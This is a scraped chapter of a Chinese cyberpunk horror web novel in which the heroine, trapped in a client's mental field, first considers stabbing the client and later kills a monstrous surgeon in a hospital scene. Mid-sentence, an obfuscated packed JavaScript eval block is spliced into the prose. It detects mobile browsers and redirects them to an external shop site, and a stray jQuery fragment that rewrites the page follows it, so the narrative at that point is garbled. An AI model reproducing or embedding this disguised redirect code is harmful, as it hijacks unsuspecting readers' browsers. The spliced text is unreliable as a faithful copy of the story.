文趣网 > 都市小说 > 赛博性偶,但成为世界主宰 > 5. 文学城正版
    “妈妈,你身体不舒服了吗?是我又做错什么了吗?”

    陈丽质的脸又开始往头发里面缩,一双眼却露在外面,又怯懦又得意地望着她。

    符瑞亚捱到此时此刻已经到了极限。

    她打开系统面板,在道具那栏里开始挑选。

    【系统,我如果杀了精神场的主人是不是也可以出去?】

    【系统:杀死精神场主人和解除其执念,二者都算作完成任务。】

    很好......

    也许有的人就是冥顽不灵,说一千一万遍道理都不管用,要是非一条路走到黑,那她是真得在这成佛了。

    既然软的不行那就换硬的吧。

    她要杀了陈丽质然后完成任务出去......没有人能阻碍她回家,谁都不行。

    符瑞亚的眼睛平视着对方,桌子下的手已经紧握住了一把匕首。

    眼睛、喉咙、心脏......哪一个是最容易得手的位置?

    陈丽质还在低着头,这是最好的时机。

    手中的匕首一点一点抬起,只差半寸就要越过桌面,她右臂的肌肉绷得越来越紧,开始不自觉地吞咽起口水来。

    【系统:危险!警告危险!危险!】

    什么???

    系统第一次连发三个危险?什么情况?她手里的匕首可是系统道具啊!

    而此时此刻的陈丽质也像是感受到了两人间涌动的诡异气氛,眼睛向上翻起变成了三白眼,微微侧头问她:“妈妈,你......讨厌我吗?”

    符瑞亚进退两难,是顶着系统的危险预警硬上?还是放弃这个机会,就这样白白损失一个一次性道具?

    怎么办?

    “妈妈,你讨厌我吗?”

    “妈妈,我不能让你感到骄傲吗?”

    房间里回荡着陈丽质阴沉沉的声音,海浪般一声更比一声高。而她现在就是被佛祖震在了塔下的孙悟空,动弹不得,只能听对方不停念咒。

    “咯吱”一声陈丽质站起身,光脚踩在地上无声无息,越走越近绕到符瑞亚的身后,抬手搭在她肩上。

    她肩头立时泛起一阵阵寒气,尸体也就是这个温度了,不会更低了。

    冷静!

    哪怕头皮已经发麻快要炸开,她还是强忍着身体的本能反应。

    冰箱压缩机不知道何时起停止转动,她的口唇发干,不安感沿着脊柱一寸一寸往上爬。

    陈丽质两条手臂箍在她锁骨上方,冰凉苍白的双手在她胸前交握,溺水的人终于再次抓住了浮木。

    一旦符瑞亚尝试挣扎稍微动一下肩胛,陈丽质便会立刻收紧一些,勒得她锁骨疼。

    一块冰正在贪婪地汲取她的体温,但这块冰却在发抖。

    “妈妈,虽然每一次我叫你,你都在沉默。

    但我却总在夜深人静的时候偷偷发誓,一定要赚许多钱给你花......”

    随着一股温热的液体流入她颈窝,符瑞亚手中的匕首渐渐变得透明直到消失。

    原来她背着的那块冰......正在融化成水。

    “叮咚。”门外传来的敲门声打断了室内的僵持。

    陈丽质的身体僵硬了一瞬,而后直起身走向门口。

    机器人送来几张单据,可陈丽质只是快速翻看两眼,皱眉将一大部分全随意地扔在了餐桌上,而后抽走两张坐在化妆镜前认真阅读起来。

    符瑞亚望着对方耸动的背影就知道这人现在情绪十分激动......

    里面会是什么内容呢?但无论她有多抓心挠肝,她这个角度是死活也看不到了。

    不过,趁着便宜女儿不注意,她悄悄翻动着桌上这一叠陈丽质不打算看的文件。

    催债单、催债单、还是催债单?

    这人到底是有什么烧钱的不良嗜好,能欠下......个十百千万,都快五十万了。

    那也怪不得陈丽质那天去面试了那样一个烂公司。

    手环的震动声在室内突兀地响起来,陈丽质这才舍得放下手里的文件,接电话时声音压得很低:“喂?你出来了?好,那你先好好休息,我试镜完就去找你。”

    试镜?陈丽质什么时候又获得试镜的机会了?

    “我爸?不用担心我爸了,他以后都不会是我们的阻碍了......”

    符瑞亚心中隐隐觉得自己下一个要去的场景极有可能是片场,至于身份是什么,那大概率是随机的。

    ——

    但......

    手术室里无影灯还没亮,手术台上铺着淡蓝色无菌单,液晶监护仪还是黑屏尚未连接。

    符瑞亚呼吸间吸了满肺的消毒水味,挥之不去。揉搓着塑胶手套,她感到一阵滑腻。

    低头看了一眼自己的穿着,原来这一次她的身份是医护人员。

    旁边男医生手上的动作引起了她的注意。那人双手操控着器械盘,整理好后走向另一侧的塑形舱。

    符瑞亚虽在调节麻醉流量按键,口罩上的一双眼却紧盯着那个男医生。

    她觉得这人不太对劲......

    男医生突然停下了手上的动作,转向她说道:“你和我去仓库取一下待会手术要用的材料。”说罢,他率先推门出去。

    望着半开的门,符瑞亚在原地站着犹豫了片刻,最后还是选择跟上去。

    这家医院的走廊很长,男医生走在她前面十米的位置,她却不慌不忙,四下打量。

    路过的每一个手术室,上面的全息屏幕上都显示着医生和病人姓名,符瑞亚暗暗记下,虽然这些信息最后可能并不会有什么用。

    走到中央时,她人还陷入沉思,咨询台的护士却突然和她打招呼:“医生,您还有手术啊?”

    她的身体僵硬了一瞬,随即又恢复了正常,笑着向护士点了点头。而前方那个男医生的身影已经隐没进了仓库。

    要不要进去呢?

    符瑞亚站在仓库门口,右手握着门把手开始纠结起来。

    这一个场景有点奇怪,既然精神场的主人是陈丽质,那么她理应绕着主人转,没有自己出来单干的道理。

    为什么都过了这么久,陈丽质还不出现?

    她第一次无比期待陈丽质的到来。

    是还需要什么触发条件吗?

    但在这里傻站着是不会想通的,“吱呀”一声,她还是推开了虚掩着的仓库门。

    符瑞亚第一眼见到的就是一整面墙,里面摆放着透明培养罐,从地板一直码放到天花板,三层楼高的仓库,四面全是。

    悬浮在营养液中的东西是......她一点一点靠近。

    那些东西尺寸不一、形状各异,她侧开身体借灯光照亮罐子内部。

    鼻子......

    全都是鼻子,几千只鼻子,孤零零地旋转、漂浮在罐子内,有些鼻梁高挺、有些鼻尖微微上翘,肤色也适配着不同的种族。

    但无一例外,每一个鼻翼都在微微翕动,符瑞亚觉得它们像是......活着的。

    有人在饲养鼻子吗?

    “扑通扑通”,鼻子在营养液中翻了个身,水流撞击罐身发出沉闷的声响。

    突然的异动吓得符瑞亚猛地退后半步。

    男医生正在深处弯腰检查一个培养罐的标签,见此动作轻笑出声:“你之前没见过最新一代的鼻子义体吗?泰坦科技产的,够逼真吧?”

    这些鼻子居然不是从人身上割下来的吗?而是人造的......

    她心中震惊不已,但还是努力装作镇静的样子。

    “我们今天不拿鼻子,高级的手术得用生物凝胶。”男医生的声音阴测测的,“你不会不知道哪个是生物凝胶吧?”

    那语气好像她要是敢表现的无知,就会立刻将她就地正法一样。

    她怎么会知道哪个是生物凝胶?

    但她不能做出违背身份设定的事,医生一定会知道的事那她就不能不知道......

    符瑞亚把玩着手中的培

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17722190|208723||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    养罐摇了摇,状似随意的问:“你是在质疑我?”

    仓库内突然陷入了沉默。

    男医生:......

    果然,她只要在人设范围内随意发挥就好了。

    回去的路上,男医生阴沉着脸一句话也不说。

    再次路过间手术室的时候,符瑞亚又站定看着门口的屏幕凝神。

    上面还是只显示着医生和病人的名字.....

    她好像突然明白怎么才能进入下一步见到陈丽质了,原来从一开始这家整形医院就在告诉她方法了。

    ——

    推开手术室的门,墙角的麻醉机电源正一明一灭地闪着,红光带着危险的气息。

    男医生的拖鞋嘎吱几声踩在地板上,随后停在了手术台旁。用左手捏着一块无菌纱布,慢悠悠地擦起手术刀上的血迹。

    忽然间手术室内的灯灭了,只剩下点点红光。

    他的牙齿摩擦着发出“吱吱”声,随后右壁一节一节地增长,像藕冒尖一般,比寻常男人的手臂长了快一倍。

    而他的右手也早就被安装成了手术刀。

    手术刀高速旋转着,他缓缓靠近站在门口处的那个女人。

    这是主赐给他的食物......他贪婪地伸出舌头舔舐着嘴唇。

    “你在哪呢?”边说,他边向有响动的方向缓缓走去,像一只遛着耗子的猫。

    一步、两步、三步......他终于靠近了那女人。

    “滋拉滋拉”,他右手刀尖猛地向前捅了过去,可他所预料的尖叫连连、鲜血四溅却并未发生。

    相反,他的右肩忽然被人大力向后拉去。

    什么?那女人是什么时候出现在他身后的?

    但还没等他想明白,他的肋骨下缘就被什么人的膝盖大力向上撞去。

    不锈钢推车侧翻在地,手术刀、止血钳散落一地,器械相互碰撞,叮叮当当。

    “啊啊啊啊!”他痛叫出声,变成了一只蜷缩的虾米,喉咙不受控制地痉挛起来,喘不上气。

    作为医生,他清楚地知道他的肝脏刚才被人......碾碎了。

    但还没等他退到安全区域背靠墙壁,一双手又从背后猛地捂住他的嘴,将他的头向后拉拽,于是他不得不下巴朝天,喉咙被迫绷得死紧。

    女人柔和的声音在他耳旁响起,好似催命:“如果我没猜错的话,一间手术室里只能有一个医生对吧?也就是,你和我之间......只能活一个?”

    他的右手刀被女人带着向上,停在他自己的喉结前。

    缓缓地,刀先是切开了他的皮肤、肌肉、筋膜......最后是气管,殷红缓缓流出,他想叫喊、想求饶。

    但是,“嘶嘶嘶”,他的喉咙却已经开始漏气喷血,再也发不出任何完整声音。

    他怎么会死在自己猎物的手里......怎么会?

    直到怀中的身体彻底软下去后,符瑞亚才松开了双手。而后她盯着男医生死不瞑目的尸体,一眨不眨地等待着。

    果然,尸体起了变化。

    一开始只是边缘处出现马赛克,然后变成了四肢部分模糊虚化,最后像是被人用橡皮擦掉了般,凭空消失的干干净净。

    符瑞亚长舒了一口气,坐在了旁边的椅子上。

    一边擦拭着手中血迹,她的思维也开始放空。

    其实她从一开始路过走廊的时候就在想,为什么其他的手术室里只有一个医生,而她们的手术室里却有两个医护人员。

    直到那个护士叫她医生时她才终于肯定了自己的身份,她就是医生。

    回来的路上她再次确认过,每个手术室确确实实都只有一个医生。

    所以,如果她猜的没错......符瑞亚看着尸体消失的位置扯起了一个微笑。

    如果没错的话,那她马上就会要见到陈丽质了。

    “咚咚咚”,手术室的门被人敲响,门外传来护士的询问:“符医生,陈丽质女士来了。”